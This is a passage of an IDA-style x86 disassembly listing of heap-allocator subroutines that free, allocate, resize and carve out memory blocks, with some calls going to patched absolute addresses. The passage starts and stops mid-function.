		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------

loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------

loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]

loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx

loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi

loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi

loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------

loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]

loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB

loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------

loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC8F4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC8EC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC8EC
		mov	eax, dword_4DC8F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC8F4
		mov	ecx, dword_4DC8EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC8F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC8F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC8F4

loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC8F4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2790000h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC8F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC8F8
		cmp	eax, dword_4DC8F4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h

loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC8FC
		mov	dword_4DC8F0, eax

loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC8EC, edi
		mov	dword_4DC8F4, eax

loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------

loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC8F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242

loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229

loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx

loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------

loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax

loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0

loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------

loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]

loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx

loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------

loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax

loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9

loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0

loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------

loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC8F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E

loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B

loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304

loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]

loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------

loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi

loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]

loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------

loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]

loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------

loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]

loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC8F4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC8EC
		jnz	short loc_41E4C7
		and	dword_4DC8F4, 0

loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC8F8
		mov	ecx, dword_4DC8E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC8FC
		push	edi
		push	dword_4DC904
		nop
		call	near ptr 2840000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC8E8, 10h
		mov	dword_4DC8FC, eax
		mov	eax, dword_4DC8F8

loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC8FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC904
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27A0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 28908D9h
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC904
		nop
		call	near ptr 2790000h

loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------

loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC8F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------

loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 28908D9h
		nop
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------

loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]

loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5

loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi

loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------

loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi

loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------

loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx

loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------

loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]

loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------

loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------

loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi

loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi

loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
